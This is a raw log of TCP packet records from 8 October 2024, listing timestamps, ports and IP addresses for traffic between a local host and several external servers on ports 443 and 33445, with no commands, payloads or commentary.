Oct 8, 2024 20:52:17.190656900 CEST	49803	33445	192.168.2.9	194.249.212.109
Oct 8, 2024 20:52:17.195226908 CEST	33445	49802	130.133.110.14	192.168.2.9
Oct 8, 2024 20:52:17.195367098 CEST	49802	33445	192.168.2.9	130.133.110.14
Oct 8, 2024 20:52:17.195492983 CEST	33445	49803	194.249.212.109	192.168.2.9
Oct 8, 2024 20:52:17.195718050 CEST	49803	33445	192.168.2.9	194.249.212.109
Oct 8, 2024 20:52:17.202076912 CEST	49803	33445	192.168.2.9	194.249.212.109
Oct 8, 2024 20:52:17.202080011 CEST	49802	33445	192.168.2.9	130.133.110.14
Oct 8, 2024 20:52:17.207000971 CEST	33445	49802	130.133.110.14	192.168.2.9
Oct 8, 2024 20:52:17.207159996 CEST	33445	49803	194.249.212.109	192.168.2.9
Oct 8, 2024 20:52:17.302052975 CEST	443	49796	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:17.309334993 CEST	443	49797	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:17.330425978 CEST	443	49799	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:17.343411922 CEST	49796	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:17.343411922 CEST	49796	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:17.343444109 CEST	443	49796	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:17.343456030 CEST	443	49796	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:17.344168901 CEST	49799	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:17.344178915 CEST	443	49799	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:17.344187975 CEST	49797	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:17.344258070 CEST	443	49797	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:17.344471931 CEST	49797	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:17.344487906 CEST	443	49797	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:17.344604969 CEST	443	49798	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:17.344919920 CEST	49799	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:17.344928026 CEST	443	49799	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:17.344938040 CEST	49798	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:17.344954014 CEST	443	49798	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:17.345283031 CEST	443	49800	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:17.345556021 CEST	49798	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:17.345566988 CEST	443	49798	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:17.345591068 CEST	49800	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:17.345613003 CEST	443	49800	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:17.346220970 CEST	49800	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:17.346225977 CEST	443	49800	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:17.406270027 CEST	49804	443	192.168.2.9	52.149.20.212
Oct 8, 2024 20:52:17.406321049 CEST	443	49804	52.149.20.212	192.168.2.9
Oct 8, 2024 20:52:17.407639980 CEST	49804	443	192.168.2.9	52.149.20.212
Oct 8, 2024 20:52:17.408257008 CEST	49804	443	192.168.2.9	52.149.20.212
Oct 8, 2024 20:52:17.408267975 CEST	443	49804	52.149.20.212	192.168.2.9
Oct 8, 2024 20:52:17.440932035 CEST	443	49796	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:17.441795111 CEST	443	49796	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:17.442063093 CEST	49796	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:17.442063093 CEST	49796	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:17.442522049 CEST	443	49797	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:17.442559958 CEST	49796	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:17.442580938 CEST	443	49796	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:17.442600012 CEST	443	49797	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:17.444081068 CEST	443	49799	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:17.444118977 CEST	49797	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:17.444529057 CEST	443	49799	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:17.445024014 CEST	49799	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:17.445528984 CEST	49797	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:17.445528984 CEST	49797	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:17.445559978 CEST	443	49797	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:17.445564985 CEST	443	49797	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:17.448239088 CEST	49799	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:17.448239088 CEST	49799	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:17.448251963 CEST	443	49799	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:17.448265076 CEST	443	49799	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:17.448940039 CEST	443	49800	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:17.450376034 CEST	443	49800	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:17.450635910 CEST	49800	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:17.451925993 CEST	49800	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:17.451948881 CEST	443	49800	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:17.451982975 CEST	49800	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:17.452003002 CEST	443	49800	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:17.454551935 CEST	49805	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:17.454585075 CEST	443	49805	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:17.454946041 CEST	49805	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:17.455832005 CEST	49806	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:17.455841064 CEST	443	49806	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:17.456160069 CEST	49807	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:17.456188917 CEST	443	49807	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:17.456257105 CEST	49806	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:17.456280947 CEST	49807	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:17.456747055 CEST	49805	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:17.456748009 CEST	49808	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:17.456759930 CEST	443	49805	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:17.456785917 CEST	443	49808	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:17.456995964 CEST	49806	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:17.457004070 CEST	49807	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:17.457005978 CEST	443	49806	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:17.457020044 CEST	443	49807	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:17.457055092 CEST	49808	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:17.457137108 CEST	49808	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:17.457156897 CEST	443	49808	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:17.461455107 CEST	443	49798	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:17.461510897 CEST	443	49798	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:17.461674929 CEST	49798	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:17.461674929 CEST	49798	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:17.461708069 CEST	49798	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:17.461719990 CEST	443	49798	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:17.463865042 CEST	49809	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:17.463891029 CEST	443	49809	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:17.464118004 CEST	49809	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:17.464333057 CEST	49809	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:17.464344978 CEST	443	49809	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:18.296735048 CEST	443	49808	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:18.297947884 CEST	49808	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:18.297979116 CEST	443	49808	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:18.298603058 CEST	443	49805	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:18.298809052 CEST	49808	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:18.298815012 CEST	443	49808	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:18.298896074 CEST	443	49806	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:18.299197912 CEST	49805	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:18.299206972 CEST	443	49805	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:18.299613953 CEST	49805	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:18.299618959 CEST	443	49805	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:18.299696922 CEST	443	49807	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:18.300940037 CEST	49806	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:18.300945997 CEST	443	49806	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:18.301331043 CEST	49806	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:18.301335096 CEST	443	49806	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:18.301500082 CEST	49807	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:18.301512003 CEST	443	49807	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:18.302689075 CEST	49807	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:18.302711010 CEST	443	49807	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:18.302855015 CEST	443	49809	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:18.306339025 CEST	49809	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:18.306351900 CEST	443	49809	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:18.307205915 CEST	49809	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:18.307210922 CEST	443	49809	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:18.352624893 CEST	443	49804	52.149.20.212	192.168.2.9
Oct 8, 2024 20:52:18.352725029 CEST	49804	443	192.168.2.9	52.149.20.212
Oct 8, 2024 20:52:18.356004000 CEST	49804	443	192.168.2.9	52.149.20.212
Oct 8, 2024 20:52:18.356014013 CEST	443	49804	52.149.20.212	192.168.2.9
Oct 8, 2024 20:52:18.356282949 CEST	443	49804	52.149.20.212	192.168.2.9
Oct 8, 2024 20:52:18.396136045 CEST	443	49808	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:18.396708012 CEST	443	49808	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:18.397304058 CEST	49808	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:18.399477005 CEST	443	49806	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:18.400229931 CEST	443	49806	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:18.400286913 CEST	443	49806	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:18.400310993 CEST	443	49805	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:18.400336027 CEST	49806	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:18.400371075 CEST	443	49805	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:18.400468111 CEST	49805	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:18.400634050 CEST	443	49807	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:18.401021957 CEST	443	49807	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:18.401161909 CEST	49807	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:18.402573109 CEST	49808	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:18.402590036 CEST	443	49808	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:18.402601957 CEST	49808	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:18.402606964 CEST	443	49808	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:18.402790070 CEST	49806	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:18.402805090 CEST	443	49806	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:18.402815104 CEST	49806	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:18.402821064 CEST	443	49806	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:18.408216000 CEST	49805	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:18.408216000 CEST	49805	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:18.408221960 CEST	443	49805	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:18.408231020 CEST	443	49805	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:18.408807039 CEST	443	49809	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:18.408826113 CEST	443	49809	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:18.408864975 CEST	443	49809	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:18.408900023 CEST	49809	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:18.408926010 CEST	49809	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:18.409492970 CEST	49807	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:18.409492970 CEST	49807	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:18.409511089 CEST	443	49807	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:18.409519911 CEST	443	49807	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:18.416117907 CEST	49809	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:18.416136980 CEST	443	49809	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:18.416148901 CEST	49809	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:18.416155100 CEST	443	49809	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:18.420280933 CEST	49810	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:18.420308113 CEST	443	49810	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:18.420403957 CEST	49810	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:18.425529957 CEST	49810	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:18.425543070 CEST	443	49810	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:18.442456961 CEST	49804	443	192.168.2.9	52.149.20.212
Oct 8, 2024 20:52:18.445550919 CEST	49811	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:18.445589066 CEST	443	49811	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:18.445647001 CEST	49811	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:18.446818113 CEST	49812	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:18.446851969 CEST	443	49812	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:18.447463989 CEST	49812	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:18.449431896 CEST	49813	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:18.449466944 CEST	443	49813	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:18.449875116 CEST	49813	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:18.465965986 CEST	49814	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:18.465977907 CEST	443	49814	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:18.466109991 CEST	49814	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:18.466197968 CEST	49811	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:18.466238022 CEST	443	49811	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:18.466284037 CEST	49812	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:18.466305017 CEST	443	49812	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:18.468310118 CEST	49813	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:18.468329906 CEST	443	49813	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:18.481714010 CEST	49814	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:18.481733084 CEST	443	49814	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:18.530558109 CEST	49804	443	192.168.2.9	52.149.20.212
Oct 8, 2024 20:52:18.575403929 CEST	443	49804	52.149.20.212	192.168.2.9
Oct 8, 2024 20:52:18.813668966 CEST	443	49804	52.149.20.212	192.168.2.9
Oct 8, 2024 20:52:18.813689947 CEST	443	49804	52.149.20.212	192.168.2.9
Oct 8, 2024 20:52:18.813698053 CEST	443	49804	52.149.20.212	192.168.2.9
Oct 8, 2024 20:52:18.813710928 CEST	443	49804	52.149.20.212	192.168.2.9
Oct 8, 2024 20:52:18.813718081 CEST	443	49804	52.149.20.212	192.168.2.9
Oct 8, 2024 20:52:18.813724995 CEST	443	49804	52.149.20.212	192.168.2.9
Oct 8, 2024 20:52:18.814456940 CEST	49804	443	192.168.2.9	52.149.20.212
Oct 8, 2024 20:52:18.814500093 CEST	443	49804	52.149.20.212	192.168.2.9
Oct 8, 2024 20:52:18.814512014 CEST	443	49804	52.149.20.212	192.168.2.9
Oct 8, 2024 20:52:18.814555883 CEST	49804	443	192.168.2.9	52.149.20.212
Oct 8, 2024 20:52:18.814563036 CEST	443	49804	52.149.20.212	192.168.2.9
Oct 8, 2024 20:52:18.815634012 CEST	49804	443	192.168.2.9	52.149.20.212
Oct 8, 2024 20:52:18.818550110 CEST	443	49804	52.149.20.212	192.168.2.9
Oct 8, 2024 20:52:18.818620920 CEST	443	49804	52.149.20.212	192.168.2.9
Oct 8, 2024 20:52:18.818953037 CEST	49804	443	192.168.2.9	52.149.20.212
Oct 8, 2024 20:52:18.827064037 CEST	49804	443	192.168.2.9	52.149.20.212
Oct 8, 2024 20:52:18.827085018 CEST	443	49804	52.149.20.212	192.168.2.9
Oct 8, 2024 20:52:18.827095985 CEST	49804	443	192.168.2.9	52.149.20.212
Oct 8, 2024 20:52:18.827101946 CEST	443	49804	52.149.20.212	192.168.2.9
Oct 8, 2024 20:52:19.027940989 CEST	443	49811	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:19.032727003 CEST	49811	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:19.032764912 CEST	443	49811	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:19.033189058 CEST	49811	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:19.033201933 CEST	443	49811	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:19.117321014 CEST	443	49810	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:19.117341042 CEST	443	49812	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:19.120037079 CEST	49810	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:19.120069981 CEST	443	49810	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:19.120212078 CEST	49812	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:19.120260000 CEST	443	49812	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:19.120501995 CEST	49810	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:19.120508909 CEST	443	49810	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:19.120572090 CEST	49812	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:19.120587111 CEST	443	49812	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:19.130065918 CEST	443	49811	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:19.130140066 CEST	443	49811	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:19.130465984 CEST	49811	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:19.130750895 CEST	49811	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:19.130750895 CEST	49811	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:19.130800962 CEST	443	49811	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:19.130827904 CEST	443	49811	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:19.133353949 CEST	49815	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:19.133434057 CEST	443	49815	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:19.134628057 CEST	49815	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:19.134871006 CEST	49815	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:19.134906054 CEST	443	49815	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:19.151829958 CEST	443	49814	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:19.152503967 CEST	443	49813	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:19.152565956 CEST	49814	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:19.152585983 CEST	443	49814	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:19.153026104 CEST	49814	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:19.153031111 CEST	443	49814	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:19.154064894 CEST	49813	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:19.154073000 CEST	443	49813	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:19.154484034 CEST	49813	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:19.154489994 CEST	443	49813	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:19.217449903 CEST	443	49812	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:19.217648029 CEST	443	49812	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:19.217694044 CEST	443	49812	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:19.217700005 CEST	49812	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:19.217915058 CEST	49812	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:19.217940092 CEST	443	49812	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:19.217952967 CEST	49812	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:19.217959881 CEST	443	49812	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:19.220458984 CEST	49816	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:19.220501900 CEST	443	49816	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:19.220550060 CEST	49812	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:19.220561981 CEST	443	49812	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:19.221152067 CEST	49816	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:19.221308947 CEST	49816	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:19.221330881 CEST	443	49816	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:19.221784115 CEST	443	49810	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:19.221843958 CEST	443	49810	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:19.222312927 CEST	49810	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:19.222474098 CEST	49810	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:19.222490072 CEST	443	49810	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:19.222501040 CEST	49810	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:19.222507000 CEST	443	49810	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:19.225307941 CEST	49817	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:19.225334883 CEST	443	49817	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:19.225815058 CEST	49817	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:19.226079941 CEST	49817	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:19.226106882 CEST	443	49817	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:19.255788088 CEST	443	49814	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:19.257250071 CEST	443	49814	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:19.257510900 CEST	49814	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:19.258055925 CEST	49814	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:19.258069038 CEST	443	49814	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:19.258088112 CEST	49814	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:19.258094072 CEST	443	49814	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:19.263138056 CEST	49818	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:19.263184071 CEST	443	49818	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:19.263219118 CEST	443	49813	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:19.263381004 CEST	443	49813	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:19.264271021 CEST	49813	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:19.264282942 CEST	49818	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:19.265275955 CEST	49818	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:19.265300989 CEST	443	49818	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:19.265398026 CEST	49813	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:19.265405893 CEST	443	49813	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:19.265460014 CEST	49813	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:19.265464067 CEST	443	49813	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:19.268749952 CEST	49819	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:19.268788099 CEST	443	49819	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:19.273750067 CEST	49819	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:19.273950100 CEST	49819	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:19.273961067 CEST	443	49819	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:19.832561016 CEST	443	49815	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:19.835794926 CEST	49815	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:19.835824966 CEST	443	49815	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:19.836276054 CEST	49815	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:19.836282015 CEST	443	49815	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:19.852504969 CEST	443	49818	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:19.853068113 CEST	49818	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:19.853089094 CEST	443	49818	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:19.853390932 CEST	49818	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:19.853405952 CEST	443	49818	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:19.890628099 CEST	443	49817	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:19.891191959 CEST	49817	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:19.891207933 CEST	443	49817	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:19.891550064 CEST	49817	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:19.891557932 CEST	443	49817	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:19.940426111 CEST	443	49819	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:19.941483974 CEST	49819	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:19.941502094 CEST	443	49819	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:19.941919088 CEST	49819	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:19.941924095 CEST	443	49819	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:19.949640989 CEST	443	49815	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:19.949721098 CEST	443	49815	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:19.950139999 CEST	49815	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:19.950443983 CEST	49815	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:19.950464964 CEST	443	49815	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:19.950476885 CEST	49815	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:19.950484037 CEST	443	49815	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:19.953262091 CEST	443	49816	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:19.953742027 CEST	49820	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:19.953788996 CEST	443	49820	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:19.954822063 CEST	49816	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:19.954833984 CEST	443	49816	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:19.955311060 CEST	49816	443	192.168.2.9	13.107.246.45
